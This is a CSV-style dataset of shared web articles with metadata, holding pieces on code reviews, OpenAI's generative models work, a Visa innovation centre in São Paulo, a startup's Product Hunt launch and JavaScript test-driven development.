1466115486,CONTENT SHARED,7534917347133949300,3891637997717104548,1233433224046298458,,,,HTML,https://www.sitepoint.com/the-importance-of-code-reviews/,The Importance of Code Reviews,"I recently read this on Twitter : Sadly, it seems code reviewing is a practice that's foreign to many students, freelancers and agencies. [Translated] Apparently, it's not obvious to everyone that code reviews are actually helpful. Call me naive, but I really thought it was a process used in all IT companies. Apparently I was wrong, and it scares me. In this article, I'd like to give my thoughts on code reviews, why I believe they're an important part of the code shipping process, and how to get started with them. If you don't do code reviews, or if you feel like you could do better, I hope this write-up will help! What Is a Code Review? We live in the era of Wikipedia, so allow me to begin by quoting the definition given on the Code review entry: Code review is systematic examination (sometimes referred to as peer review) of computer source code. It is intended to find mistakes overlooked in the initial development phase, improving the overall quality of software. Reviews are done in various forms such as pair programming, informal walkthroughs, and formal inspections. A code review, as the name states, is the process of reviewing some code in order to make sure it works, and in order to improve it where possible. Ways to Do a Code Review As the Wikipedia definition notes, there are various ways to perform code reviews. However, in a world where so much code lives on GitHub , code reviewing often goes hand-in-hand with what we call a ""pull request"". A pull request is a request to introduce changes to a code repository using a distributed version control system (Git, SVN, Mercurial etc.). It works by ""pulling"" the original code, applying changes, then submitting a request to merge the changes in. GitHub made this process particularly easy and efficient thanks to its friendly user interface, abstracting most of the Git knowledge requirements. Why Reviewing Code Matters So, why does code reviewing matter? After all, we're all competent here. Surely we can ship code without having someone metaphorically standing over our shoulder, watching everything we do. In theory, yes. But in practice, there are many reasons why having an established code reviewing process helps. Let's look at a few of them. It limits risks This is probably the most important reason of all. Having someone double-checking our work never hurts, and limits the risk of unnoticed mistakes. Even good developers get tunnel vision sometimes. It's always good to make sure not to forget anything. For instance, proper keyboard navigation, screen reader accessibility, flexibility for internationalization and friendly, non-JavaScript behavior are often forgotten topics in the front-end world, to name but four. It dramatically improves code quality Let's make something clear: this is not about standards and code linting (at least not exclusively). It's about making code more efficient. In a team where everybody has their own background and strong suits, asking for improvements (because that's what it's about) is always a good idea. Someone could suggest a smarter solution, a more appropriate design pattern, a way to reduce complexity or to improve performance. It makes everyone better By joining forces, everyone can learn and get better. The code submitter is likely to receive feedback on their work, making them aware of possible problems and areas for improvement. The reviewers could well learn new things by reading through the code, and figure out solutions applicable to their own work. It helps being familiar with the project When a team works on a project, it's highly unlikely that every developer is working on every part of the application. Sometimes a developer will heavily work on one large part for a while, while another one is working on something else entirely. Doing code reviews helps people familiarize themselves with code they haven't written but might be asked to maintain in the future. It promotes knowledge of the codebase across the team, and is likely to speed up future development. How To Do It Properly Again, having an established code reviewing process is both extremely useful and important. Every team producing code should have some code review, one way or the other. That being said, doing meaningful and helpful code reviews is not always as straightforward as it might seem. Worry not, it's not like it's going to bite you if it's done poorly. It simply won't be useful, and could feel like a waste of time. Recently at my workplace, we had a retrospective about our code reviewing process. We knew some things were wrong when we realized only 3 out of 12 developers were engaging in code reviews. To help us change this, one of our Scrum Masters organized a retrospective to determine where there was room for improvement, and how we could bring it about. Planning ahead The most recurrent argument to justify the lack of participation in code reviews was that it takes time - time that people can't or aren't willing to take. I must say I don't really understand this argument myself, because I picture it like this: if a colleague comes to me directly and asks me to help them with something, I'm not going to say - ""Don't have time, not interested."" I'm going to find time to help. Maybe not right now, maybe in an hour - but I will obviously take time for them. Why? Because this is what being part of a team means if they want my opinion, it's because they value it one way or another, and therefore it makes only sense to give them. ""Why don't you take part in the code reviewing process?"" ""I don't have time."" To me, a pull request is no different from a coworker asking for help. Saying you don't have time is perfectly fine from time to time, but by systematically refusing to help, you're actively pulling yourself out of the team. This behavior is neither friendly nor positive. Take the time to help. To make it possible for developers to find time, we started taking into account that every developer will spend a bit of time (maybe 30 minutes) reviewing code every day. No more surprise when we end up spending half an hour on a large code review: it's part of the day. We also tried to dramatically reduce the amount of code constituting a pull request. We used to have mammoth pull requests - of thousands of changes across dozens of files. We try not to do that anymore. By making smaller pull requests, we make them easier to review, the feedback more relevant, and developers more willing to engage in this process. ""Ship small and often."" Giving context The second biggest problem we found was that we usually lacked an understanding of the code's context, which is needed if you're going to provide helpful feedback. When missing the context, we usually did no more than a syntax review - which, though useful to some extent, is not enough. You simple become what we call a ""human linter"". Fortunately, the solution to this problem is relatively simple: add a description to the pull request to explain what the objective is, and how to get there. It doesn't have to be a wall of text; just a few lines are usually enough. It also helps to add a link to the issue and/or story. Liv Madsen , one of our developers, even adds screenshots - or screencasts when relevant - to illustrate what she's done, which is amazing. Actually asking The third problem we pointed out was that we sometimes simply didn't realize there was something to review. Let's face it, we're flooded with tons of emails and notifications every day - so much so that it can be hard to keep track. We're only human, after all. Here, again, the solution is pretty simple: actually ask someone for a review. There are many ways to do that, from honking a horn in the office to pinging someone on Slack; to each team their own. We created groups on GitHub based on our activity, and when submitting a pull request, we always ping a group. Members of this group will receive a notification and are free to tackle it as soon as they have time. Sometimes, we ping a developer (or several) directly when it's more specific to someone's work. That also works. From there, pinged people can review the code and leave comments. We try to leave a comment even when there's nothing specific to report - if only to indicate that the code is ready to be merged. Because we had some pull requests blindly merged regardless of given comments, we established a strict ""reply or fix everything"" policy. When receiving feedback, either you fix it or you reply to explain why you didn't. In any case, you never leave a comment pending, and you certainly don't merge your pull request with non-handled comments. Wrapping Things Up Having a regular and efficient code reviewing process is essential to maintain high-quality code standards, grow as a team and share knowledge between developers. Asking for a code review is not a mark of weakness. There's nothing embarrassing about asking for help, and certainly not in the form of a code review. Accept all feedback given to you, and offer constructive (ideally positive) comments to people submitting pull requests. Find what works for you. Reviewing code should be a large part of the code shipping process, so you should tailor it to your team. Make it the way you want so that it's helpful and positive for everybody. Happy reviewing!",en
1466162495,CONTENT SHARED,-3883591366197282127,-1443636648652872475,-7760091057538643649,,,,HTML,https://openai.com/blog/generative-models/,Generative Models,"One of our core aspirations at OpenAI is to develop algorithms and techniques that endow computers with an understanding of our world. It's easy to forget just how much you know about the world: you understand that it is made up of 3D environments, objects that move, collide, interact; people who walk, talk, and think; animals who graze, fly, run, or bark; monitors that display information encoded in language about the weather, who won a basketball game, or what happened in 1970. This tremendous amount of information is out there and to a large extent easily accessible - either in the physical world of atoms or the digital world of bits. The only tricky part is to develop models and algorithms that can analyze and understand this treasure trove of data. One of the most promising approaches towards this goal are generative models, which fall under the category of unsupervised learning techniques in machine learning. To train a generative model we first collect a large amount of data in some domain (e.g., think millions of images, sentences, or sounds, etc.) and then train a model to generate data like it. The intuition behind this approach follows a famous quote from Richard Feynman : ""What I cannot create, I do not understand."" The trick is that the neural networks we use as generative models have a number of parameters significantly smaller than the amount of data we train them on, so the models are forced to discover and efficiently internalize the essence of the data in order to generate it. Generative models have many short-term applications . But in the long run, they hold the potential to automatically learn the natural features of a dataset, whether categories or dimensions or something else entirely. Generating images Let's make this more concrete with an example. Suppose we have some large collection of images, such as the 1.2 million images in the ImageNet dataset (but keep in mind that this could eventually be a large collection of images or videos from the internet or robots). If we resize each image to have width and height of 256 (as is commonly done), our dataset is one large 1,200,000x256x256x3 (about 200GB) block of pixels. Here are a few example images from this dataset: These images are examples of what our visual world looks like and we refer to these as ""samples from the true data distribution"". We now construct our generative model which we would like to train to generate images like this from scratch. Concretely, a generative model in this case could be one large neural network that outputs images and we refer to these as ""samples from the model"". DCGAN One such recent model is the DCGAN network from Radford et al. (shown below). This network takes as input 100 random numbers drawn from a Gaussian distribution (we refer to these as a code , or latent variables , in red) and outputs an image (in this case 64x64x3 images on the right, in green). As the code is changed incrementally, the generated images do too - this shows the model has learned features to describe how the world looks, rather than just memorizing some examples. The network (in yellow) is made up of standard convolutional neural network components, such as deconvolutional layers (reverse of convolutional layers), fully connected layers , etc.: DCGAN is initialized with random weights, so a random code plugged into the network would generate a completely random image. However, as you might imagine, the network has millions of parameters that we can tweak, and the goal is to find a setting of these parameters that makes samples generated from random codes look like the training data. Or to put it another way, we want the model distribution to match the true data distribution in the space of images. Training a generative model Suppose that we used a newly-initialized network to generate 200 images, each time starting with a different random code. The question is: how should we adjust the network's parameters to encourage it to produce slightly more believable samples in the future? Notice that we're not in a simple supervised setting and don't have any explicit desired targets for our 200 generated images; we merely want them to look real. One clever approach around this problem is to follow the Generative Adversarial Network (GAN) approach. Here we introduce a second discriminator network (usually a standard convolutional neural network) that tries to classify if an input image is real or generated. For instance, we could feed the 200 generated images and 200 real images into the discriminator and train it as a standard classifier to distinguish between the two sources. But in addition to that - and here's the trick - we can also backpropagate through both the discriminator and the generator to find how we should change the generator's parameters to make its 200 samples slightly more confusing for the discriminator. These two networks are therefore locked in a battle: the discriminator is trying to distinguish real images from fake images and the generator is trying to create images that make the discriminator think they are real. In the end, the generator network is outputting images that are indistinguishable from real images for the discriminator. There are a few other approaches to matching these distributions which we will discuss briefly below. But before we get there below are two animations that show samples from a generative model to give you a visual sense for the training process. In both cases the samples from the generator start out noisy and chaotic, and over time converge to have more plausible image statistics: This is exciting - these neural networks are learning what the visual world looks like! These models usually have only about 100 million parameters, so a network trained on ImageNet has to (lossily) compress 200GB of pixel data into 100MB of weights. This incentivizes it to discover the most salient features of the data: for example, it will likely learn that pixels nearby are likely to have the same color, or that the world is made up of horizontal or vertical edges, or blobs of different colors. Eventually, the model may discover many more complex regularities: that there are certain types of backgrounds, objects, textures, that they occur in certain likely arrangements, or that they transform in certain ways over time in videos, etc. More general formulation Mathematically, we think about a dataset of examples as samples from a true data distribution . In the example image below, the blue region shows the part of the image space that, with a high probability (over some threshold) contains real images, and black dots indicate our data points (each is one image in our dataset). Now, our model also describes a distribution (green) that is defined implicitly by taking points from a unit Gaussian distribution (red) and mapping them through a (deterministic) neural network - our generative model (yellow). Our network is a function with parameters , and tweaking these parameters will tweak the generated distributed of images. Our goal then is to find parameters that produce a distribution that closely matches the true data distribution (for example, by having a small KL divergence loss ). Therefore, you can imagine the green distribution starting out random and then the training process iteratively changing the parameters to stretch and squeeze it to better match the blue distribution. Three approaches to generative models Most generative models have this basic setup, but differ in the details. Here are three popular examples of generative model approaches to give you a sense of the variation: Generative Adversarial Networks (GANs) , which we already discussed above, pose the training process as a game between two separate networks: a generator network (as seen above) and a second discriminative network that tries to classify samples as either coming from the true distribution or the model distribution . Every time the discriminator notices a difference between the two distributions the generator adjusts its parameters slightly to make it go away, until at the end (in theory) the generator exactly reproduces the true data distribution and the discriminator is guessing at random, unable to find a difference. Variational Autoencoders (VAEs) allow us to formalize this problem in the framework of probabilistic graphical models where we are maximizing a lower bound on the log likelihood of the data. Autoregressive models such as PixelRNN instead train a network that models the conditional distribution of every individual pixel given previous pixels (to the left and to the top). This is similar to plugging the pixels of the image into a char-rnn , but the RNNs run both horizontally and vertically over the image instead of just a 1D sequence of characters. All of these approaches have their pros and cons. For example, Variational Autoencoders allow us to perform both learning and efficient Bayesian inference in sophisticated probabilistic graphical models with latent variables (e.g. see DRAW , or Attend Infer Repeat for hints of recent relatively complex models). However, their generated samples tend to be slightly blurry. GANs currently generate the sharpest images but they are more difficult to optimize due to unstable training dynamics. PixelRNNs have a very simple and stable training process ( softmax loss ) and currently give the best log likelihoods (that is, plausibility of the generated data). However, they are relatively inefficient during sampling and don't easily provide simple low-dimensional codes for images. All of these models are active areas of research and we are eager to see how they develop in the future! Our recent contributions We're quite excited about generative models at OpenAI, and have just released four projects that advance the state of the art. For each of these contributions we are also releasing a technical report and source code. Improving GANs ( code ). First, as mentioned above GANs are a very promising family of generative models because, unlike other methods, they produce very clean and sharp images and learn codes that contain valuable information about these textures. However, GANs are formulated as a game between two networks and it is important (and tricky!) to keep them in balance: for example, they can oscillate between solutions, or the generator has a tendency to collapse. In this work, Tim Salimans, Ian Goodfellow, Wojciech Zaremba and colleagues have introduced a few new techniques for making GAN training more stable. These techniques allow us to scale up GANs and obtain nice 128x128 ImageNet samples: Our CIFAR-10 samples also look very sharp - Amazon Mechanical Turk workers can distinguish our samples from real data with an error rate of 21.3% (50% would be random guessing): In addition to generating pretty pictures, we introduce an approach for semi-supervised learning with GANs that involves the discriminator producing an additional output indicating the label of the input. This approach allows us to obtain state of the art results on MNIST , SVHN , and CIFAR-10 in settings with very few labeled examples . On MNIST, for example, we achieve 99.14% accuracy with only 10 labeled examples per class with a fully connected neural network - a result that's very close to the best known results with fully supervised approaches using all 60,000 labeled examples. This is very promising because labeled examples can be quite expensive to obtain in practice. Generative Adversarial Networks are a relatively new model (introduced only two years ago) and we expect to see more rapid progress in further improving the stability of these models during training. Improving VAEs ( code ). In this work Durk Kingma and Tim Salimans introduce a flexible and computationally scalable method for improving the accuracy of variational inference . In particular, most VAEs have so far been trained using crude approximate posteriors , where every latent variable is independent. Recent extensions have addressed this problem by conditioning each latent variable on the others before it in a chain, but this is computationally inefficient due to the introduced sequential dependencies. The core contribution of this work, termed inverse autoregressive flow (IAF), is a new approach that, unlike previous work, allows us to parallelize the computation of rich approximate posteriors, and make them almost arbitrarily flexible. We show some example 32x32 image samples from the model in the image below, on the right. On the left are earlier samples from the DRAW model for comparison (vanilla VAE samples would look even worse and more blurry). The DRAW model was published only one year ago, highlighting again the rapid progress being made in training generative models. InfoGAN ( code ). Peter Chen and colleagues introduce InfoGAN - an extension of GAN that learns disentangled and interpretable representations for images. A regular GAN achieves the objective of reproducing the data distribution in the model, but the layout and organization of the code space is underspecified - there are many possible solutions to mapping the unit Gaussian to images and the one we end up with might be intricate and highly entangled. The InfoGAN imposes additional structure on this space by adding new objectives that involve maximizing the mutual information between small subsets of the representation variables and the observation. This approach provides quite remarkable results. For example, in the images of 3D faces below we vary one continuous dimension of the code, keeping all others fixed. It's clear from the five provided examples (along each row) that the resulting dimensions in the code capture interpretable dimensions, and that the model has perhaps understood that there are camera angles, facial variations, etc., without having been told that these features exist and are important: We also note that nice, disentangled representations have been achieved before (such as with DC-IGN by Kulkarni et al.), but these approaches rely on additional supervision, while our approach is entirely unsupervised. The next two recent projects are in a reinforcement learning (RL) setting (another area of focus at OpenAI), but they both involve a generative model component. Curiosity-driven Exploration in Deep Reinforcement Learning via Bayesian Neural Networks ( code ). Efficient exploration in high-dimensional and continuous spaces is presently an unsolved challenge in reinforcement learning. Without effective exploration methods our agents thrash around until they randomly stumble into rewarding situations. This is sufficient in many simple toy tasks but inadequate if we wish to apply these algorithms to complex settings with high-dimensional action spaces, as is common in robotics. In this paper, Rein Houthooft and colleagues propose VIME, a practical approach to exploration using uncertainty on generative models. VIME makes the agent self-motivated; it actively seeks out surprising state-actions. We show that VIME can improve a range of policy search methods and makes significant progress on more realistic tasks with sparse rewards (e.g. scenarios in which the agent has to learn locomotion primitives without any guidance). Finally, we would like to include a bonus fifth project: Generative Adversarial Imitation Learning ( code ), in which Jonathan Ho and colleagues present a new approach for imitation learning . Jonathan Ho is joining us at OpenAI as a summer intern. He did most of this work at Stanford but we include it here as a related and highly creative application of GANs to RL. The standard reinforcement learning setting usually requires one to design a reward function that describes the desired behavior of the agent. However, in practice this can sometimes involve expensive trial-and-error process to get the details right. In contrast, in imitation learning the agent learns from example demonstrations (for example provided by teleoperation in robotics), eliminating the need to design a reward function. Popular imitation approaches involve a two-stage pipeline: first learning a reward function, then running RL on that reward. Such a pipeline can be slow, and because it's indirect, it is hard to guarantee that the resulting policy works well. This work shows how one can directly extract policies from data via a connection to GANs. As a result, this approach can be used to learn policies from expert demonstrations (without rewards) on hard OpenAI Gym environments, such as Ant and Humanoid . Going forward Generative models are a rapidly advancing area of research. As we continue to advance these models and scale up the training and the datasets, we can expect to eventually generate samples that depict entirely plausible images or videos. This may by itself find use in multiple applications, such as on-demand generated art, or Photoshop++ commands such as ""make my smile wider"". Additional presently known applications include image denoising , inpainting , super-resolution , structured prediction , exploration in reinforcement learning, and neural network pretraining in cases where labeled data is expensive. However, the deeper promise of this work is that, in the process of training generative models, we will endow the computer with an understanding of the world and what it is made up of.",en
1466163036,CONTENT SHARED,1797761064772338938,1120069409160402054,-8767642506802299951,,,,HTML,http://m.mobiletime.com.br/news/442222,Mobile Time,"A Visa confirmou nesta quinta-feira, 16, que o Centro de Inovação da empresa no Brasil será lançado nos próximos 60 dias. De acordo com Percival Jatobá, diretor de produtos da Visa no Brasil, o novo local de desenvolvimento tecnológico da empresa - o quinto no mundo - ficará instalado na zona oeste de São Paulo.",pt
1466163821,CONTENT SHARED,-1737937277055036780,-108842214936804958,3024548702646988918,,,,HTML,http://vyper.io/blog/product-hunt/,How We Got on Product Hunt Without ANY Preparation & the Gobs of Money We Made,"A post-mortem of our highest trafficked day so far as a startup. Kevin T Okay so gobs of money is a little bit of an overstatement, but Product Hunt gave us our first customers and helped us make a few thousand bucks (about $3,000 so far). Not bad! We all know what Product Hunt is right? This last weekend, VYPER was posted up on the site. We didn't plan for it to happen, but someone named Charlie Irish submitted us. Around 12pm I noticed we were getting traffic from Product Hunt after logging into Google Analytics. My first thought was, wtf? How? I went on to the site, and sure enough we were the 4th startup . My reaction was a mix of jubilation as well as horror. We had planned for a huge Product Hunt launch for a few weeks in the future, and now we lost several hours of planning time. We also had the timing of getting posted on Saturday, when the PH community was not super active. But it was time to make the best of it. I contacted my co-founder Jack and it was time to get to work. First we realized that we had some errors on our site that the PH community pointed out. We quickly fixed those (SSL certificate wasn't present and our sign up page was sending users to a new tab... DOH). Then it was time to get started promoting. Promotion Strategy First, I sent out emails to our email list, which contained approximately 2,000 people. During our software development phase, I spent time content marketing and amassing a list of entrepreneurs. By the time our launch rolled around, we had around 2,000 emails on this list. I sent out an email to the entire list about our Product Hunt launch. About 16% opened this email. Here's what I wrote: If you've been following some of my last emails, you'll remember that we're launching a new product called VYPER , an email marketing tool that helps you create giveaways that collect email addresses. So I had absolutely NO idea that VYPER was going to be hunted on Product Hunt today. We had a whole strategy ready and everything with a big pre-launch reach-out, but I guess the community was ready for us before we were ready for them =) That's okay, we're going to make the best of it and try to promote our Product Hunt launch as much as possible! If anyone uses Product Hunt, your support is greatly appreciated. If you don't use it, today's a great day to sign up (hehe). Check out VYPER on the Product Hunt homepage (probably will only stay there until tomorrow). Your support is greatly appreciated. Cheers, Kevin According to our sources, upvotes from the homepage give you more weight, so we told people about our Product Hunt posting and linked them to the Product Hunt homepage. The reason for this is because Product Hunt has a ranking algorithm to prevent cheating. Remember, Product Hunt doesn't like it when you ask for upvotes, so avoid doing it! Secondly, I talked to Slack groups. Not sure how well this strategy did for us because Saturday was DEAD in the Slack channels. My tip is to get well ingrained into each Slack group before your PH launch. Reach out to users in there who post interesting content and make friends. If someone else posts their Product Hunt launch, you should upvote and tell them that you did. This goes a HUGE way when you have your own launch. I had a couple buddies in the Slack groups that had done launches so I messaged them and they supported our launch as well. If you want to build up your network, Slack groups are a great way to do it. Third, I hit up people individually who were my tech-savvy friends. Pretty self explanatory, but the key is to network with people in startups & tech who know Product Hunt. Getting a 20-30 person boost was very helpful here. This is something that I never practiced before, but I realize how important having a good network of people in the same industry really is. Over the years I've amassed a pretty large network, so it wasn't hard to get people to check out our Product Hunt posting. Fourth, I posted on Reddit. This strategy requires much more careful planning. This wasn't as successful as we wanted, but it still drove a few upvotes and I got about 2 emails from people saying they saw us on reddit. Here's what I posted in /r/entrepreneur Getting a Hunter So we were posted without having talked to our hunter at all. We got lucky. But the reason I think we ended up getting ""found"" was because we were on Betalist , a site that helps you find interesting new startups. That was really the only marketing push we did thus far. Before that we had only been talking to users 1-on-1. However, we actually had a planned strategy for finding our launch partner that we didn't even need to execute on. Here's how I would do it if we didn't randomly get hunted. Find similar products in your niche that were hunted. In our case, we'd look at products under email marketing . Find successful launches and see who ""hunted"" the product. Add these hunters into a spreadsheet ranked by highest activity. You want hunters who have a reputation for getting their submissions to 100+ upvotes on Product Hunt. Start cold-emailing all the hunters saying we have an app in a similar niche and ask if they would hunt us. Alternate strategies Get your list of hunters from here and cold email them. Go to in-person startup events in your local city and meet people. In the first event I went to about a year ago in LA, I easily met a guy who was a hunter. He was going to be our backup in case we couldn't get anyone from a cold-email. If you can't find a hunter, you need to take a look in the mirror and ask yourself if your product would be great for Product Hunt. Don't try to submit a spammy, ugly looking site. Get a pro design, have a clear value prop, and make sure your site looks as ""legit"" as possible. One of the biggest mistakes I see people make is they try to submit something that just looks butt ugly and hunters don't want to submit products like that because it makes them look bad. If you're not sure whether your product would do well on Product Hunt, feel free to email me - kevin@vyper.io - for advice and suggestions. How did we do? Being that it was a Saturday and we had almost no preparation, our launch wasn't as successful as some others like Dollar Beard Club (apparently they got thousands of paying subscribers from Product Hunt), but we still got ~9,000 views to our site, about ~200 signups and a handful of paying members. We also got tweeted out by the Product Hunt team on Twitter and we retweeted their posts a couple times. Make sure you add yourself as the ""maker"" of the product in order to get tweeted out. I had to email and Tweet at the Product Hunt team to get them to add my co-founder and me as the maker. We ended up #4 on the site for the day. Today we still get 40-60 views per day. Need help getting on Product Hunt? Email me, kevin@vyper.io, with your startup and I'll give you some personal tips and advice. I promise, a second eye will do wonders for your next submission. Comments comments",en
1466165752,CONTENT SHARED,8620166073102656574,-534549863526737439,-8981930056560085758,,,,HTML,http://jrsinclair.com/articles/2016/one-weird-trick-that-will-change-the-way-you-code-forever-javascript-tdd/,One weird trick that will change the way you code forever: JavaScript TDD,"This is a presentation delivered to the Squiz Melbourne Engineering team. It repeats some of the material I've covered in other posts. So apologies if you're a regular reader and you've heard all this before. Introduction One weird trick is a cheesy title, I know. Originally I was using it as a draft placeholder title for a joke. But the more I thought about it, the more it seemed appropriate because it's true. Test Driven Development is one weird trick that will change the way you code forever (in a good way). I will explain why as we go on. I've broken this talk up into three parts: In the how section I'll work through a step-by-step example of how to write a single function with TDD. It will be very brief, because I don't have a lot of time, and I just want to give you a flavour of how TDD works. For now though, let's start with the why . Why? I want to think back to some of those 'oh cr*p' moments in your coding career. Have you ever fixed a bug, only to find that it broke something horribly in another part of the system? And you had no idea until the client called support in a panic? Have you ever been afraid to touch a complicated piece of code for fear that you might break it and never be able to fix it again? ... Even though you wrote it? Have you ever found a piece of code that you're pretty sure wasn't being used any more and should be deleted? But you left it there just in case? Have you ever felt like your code was a tower made of soft-spaghetti, held together with Clag glue and wishes? If you haven't, then you probably don't need TDD. Or you haven't been coding for very long. What if all of these could be a thing of the past? Imagine going back to some old code and thinking ""Actually, this code isn't too bad. It feels clean. I know what's going on. Whoever wrote this was a genius!"" Sounds like unicorns and rainbows, right? But bear with me. I really do want you take a moment and imagine what that would feel like. What would it be like to come back to some of your own code, months (or years) later and not have that ""Ewww"" reaction? How would it feel to be able to fix a bug and know for sure that it had been fixed, and that you didn't break everything doing it? Imagine surprising yourself with some of the elegant coding solutions you write. I know that sounds a bit dramatic and cheesy, but it is possible. It's a side-effect that I wasn't expecting when I started using TDD, but it's something I've actually experienced. There are some projects I look forward to working on again because I know the code is clean and organised. Excuses Now, you may have heard of TDD before. And maybe you thought ""Ah yes, testing. That's definitely something I should do."" And then you didn't do it. Anyone? I hear that all the time. I think there are two reasons why: The first reason is that testing seems like an optional extra-gold plating; a nice-to-have. You don't need the tests to have working code. And what's the first thing to get dropped when a project starts getting behind? Those 'superfluous' tests, right? Why waste time on something that isn't absolutely essential to getting the project completed? The second reason we don't practice TDD more often (I think) is because of the word 'test'. Testing sounds tedious; boring; time-consuming. You're under the pump and you've got to get this project out the door. You don't have time to write tests on top of everything else that has to get done. It seems like a nice-to-have. It's like doing your taxes-you might understand that it's important, but it's definitely not sexy or fun. I felt the same way about TDD. But so many smart people seemed to be saying it was a good idea that I reluctantly gave it a go. And eventually I discovered a secret: Test Driven Development is not about testing. Did I just blow your mind? Let me elaborate a little: Test Driven Development is not about testing. It is a way of thinking and coding that just-so-happens to involve tests. What do I mean by this? What is it about then, if it's not about the tests? TDD is a technique that gives you confidence in your code. It's a life-hack. It's not really about the tests. Those are just a useful side-effect. The real benefit of TDD is the way it teaches you to think about code, and the confidence it gives you to know that your code definitely works. More excuses Doesn't TDD slow you down and make you less creative? The short answer is no. Yeah, TDD seems slower at first. And when you start out it does take more time as you get used to id-just like any new skill. But as you go on it starts saving you more and more time. This is because you spend less time figuring out why things are broken and more time getting things done. In turn, spending less time bug-hunting gives you more time for creativity and refactoring. If you're practicing TDD properly, it encourages you to try the stupid-simple dead-obvious thing first, and see if it works. It allows you to try things with less risk of blowing everything up. And one more thing before I go any further: Test Driven Development is not the same thing as unit tests. Unit tests are a type of test. TDD is a coding technique. In our organisation, we have a bad habit of referring to TDD as 'unit testing' (and I'm just as guilty as anybody). But they are not the same thing. Unit testing is a particular type of test that we use frequently for TDD (hence the confusion), but it's not the only type of test. I'm trying really hard to stop using the two interchangeably, so if I do, please let me know. But if TDD is not about tests, and it's not the same as unit testing, what is it, exactly? What? TDD is a technique for writing code where you write a test before you write any 'proper' code. But that's just the single-sentence summary. In the book Test-Driven Development By Example , Kent Beck explains that TDD has two simple rules that imply three simple steps. The rules are: Write new code only if you first have a failing automated test. Eliminate duplication. And the three steps follow on from the two rules: Red -write a little test that doesn't work, perhaps doesn't even compile at first Green -make the test work quickly, committing whatever sins necessary in the process Refactor -eliminate all the duplication created in just getting the test to work These steps are fairly simple, but when followed they produce some powerful results, so long as you are using your brain . As I said, the real value is not in the tests themselves, but in the way it teaches you to think about coding, and the confidence it gives you in your code. To show how that works, we'll run through a very short example: How? Imagine we're going to create the following application: The Pugs of Flickr Web Application All it does is connect to the Flickr API and find the latest pictures of Pugs. I'm not going to run through building the whole application, but just a single step. We will pick one function from one module and build just that. (If you're interested I've written out a step-by-step tutorial for building the whole application with TDD ). So, before we do anything, let's set up the project. First we'll need a folder to work in, so let's create that: Next we'll install Mocha , the testing framework we'll be using (if you don't have it already). And we'll install Chai locally-a module that helps write assertions in a more readable fashion. (Assertion is just a fancy name for the bit that does the actual test, as opposed to all the setup stuff ): Then, we create a file for our tests: The file name is just the name of the module with -spec added on the end. In my file I set up my very first test as follows: This test is super-simple. It does nothing other than check that my module exists. That's it. The describe() function says ""I'm starting a new group of tests here"", and the it() function says ""Here's one test"". So, I run my test suite like so: ...and we get a sad cat. We have completed Step 1-Red. This is good news, because it means I can move forward. So, step two is to make the test pass. What's the simplest possible thing I can do to make that test pass? The simplest thing is to create the module: I run my test again... and I have a happy cat. Step 2-Green is complete. So we're up to the refactoring step. Is there any duplication going on here? Not yet. Is there anything I could do to improve the code? Maybe. I'll tweak things just a little: This makes it a bit clearer what's going on without adding any new (untested) functionality. And I run my test again... and the cat is still happy. So we've completed Step 3-Refactoring . Let's do something a little bit more useful (and more instructive). The Flickr API gives us photo data in JSON form. It doesn't give us URLs for the images (because we have to tell it what size we want). So, we need a function that will take a photo object and transform it into a URL. Photo objects look like this: We want a URL that looks like this: The Flickr API documentation describes the way we make the transform using the following template: So, that gives us enough information to write a test: This just passes the example photo object into the new function, then checks that the actual output matches what we expect. Most of your tests should look roughly like that. You define an input , the actual value, and the expected value. Then you check to see if the actual result matched what you expected. Let's run the test... sad cat (red). So, we can write some code. Now, what's the quickest, simplest, easiest way to make this test pass? You guessed it: Return the URL we expect. Run the tests again, and... happy cat. That's it. Test passes, we're done. But let's pause a moment and talk about what we just did there: Creating an almost useless function that still passes the test. This was the part I didn't understand when I first started practicing TDD. You write only enough code to make the test pass. No more. And it's really hard. This is the main reason why it feels like TDD slows you down. It takes a lot of discipline to only write the bare minimum code. If you're like me, you just know how to write the code, and have all sorts of ideas for making it super-efficient and elegant. But there's no point in writing more code than you have to. Doing TDD right means restraining yourself and only writing enough code to make the test pass. Let's keep going... This function is not complete. What happens if we pass a different photo object? Let's find out... by writing a new test. Run the test again... and it fails, as expected. So... what's the simplest, shortest way to make this test pass? Yep. An if-statement. We run the test again, and... happy cat (green). Are you getting frustrated yet? Don't you just want to get in there and write the whole function? Bear with me, and think about the next step-refactoring. Could this code be any more efficient to past these tests? Well, no, not really. But the next question is very important. Is there any duplication here? ... Actually, yes, there is. But just to drive the point home, let's add one more test. Run the tests again... and sad cat (red). We can write some code. What's the quickest, simplest way to get this code to pass then? Yep, another if-statement. Remember, we're ""committing whatever sins necessary in the process"" to make the test pass: If we run the test again, the cat is happy (green). So, we're up to the refactoring stage. Now, do we have duplication going on? Heck yes! Let's refactor: Now, isn't that much nicer? Does it work? Let's re-run the tests... ...and happy cat (green). Let's savour that for a moment. We have some nice efficient code, that we know works, because we've got three separate tests verifying it. But, we're not done refactoring yet... do we still have duplication going on? Yep. There's a whole bunch of it in our tests. So let's refactor those: Now our tests are nice and clean too. We run them again and we still have a happy cat (green). Everything is nice and tidy and efficient. Final thoughts I'm hoping after this that you'll give TDD a go. But I have one final word of advice: Start small . Don't try and do everything at once. Pick one small, easy bit of a project and do TDD with that. If it's easier to set something up in a Code Pen , then do that. Once you're comfortable with the three steps, then start thinking about how you can bring more stuff into tests. Think about how to restructure your code to make it easier to test. Slowly, all your code will start to improve. And, as you practice, you will become a better developer because you will learn to see the code differently. More resources I've written about TDD before on my website. There's a step-by-step tutorial and some advice on where people get stuck: If you'd prefer advice from someone who isn't me, check out Eric Elliot's helpful articles: Or Rebecca Murphey:",en
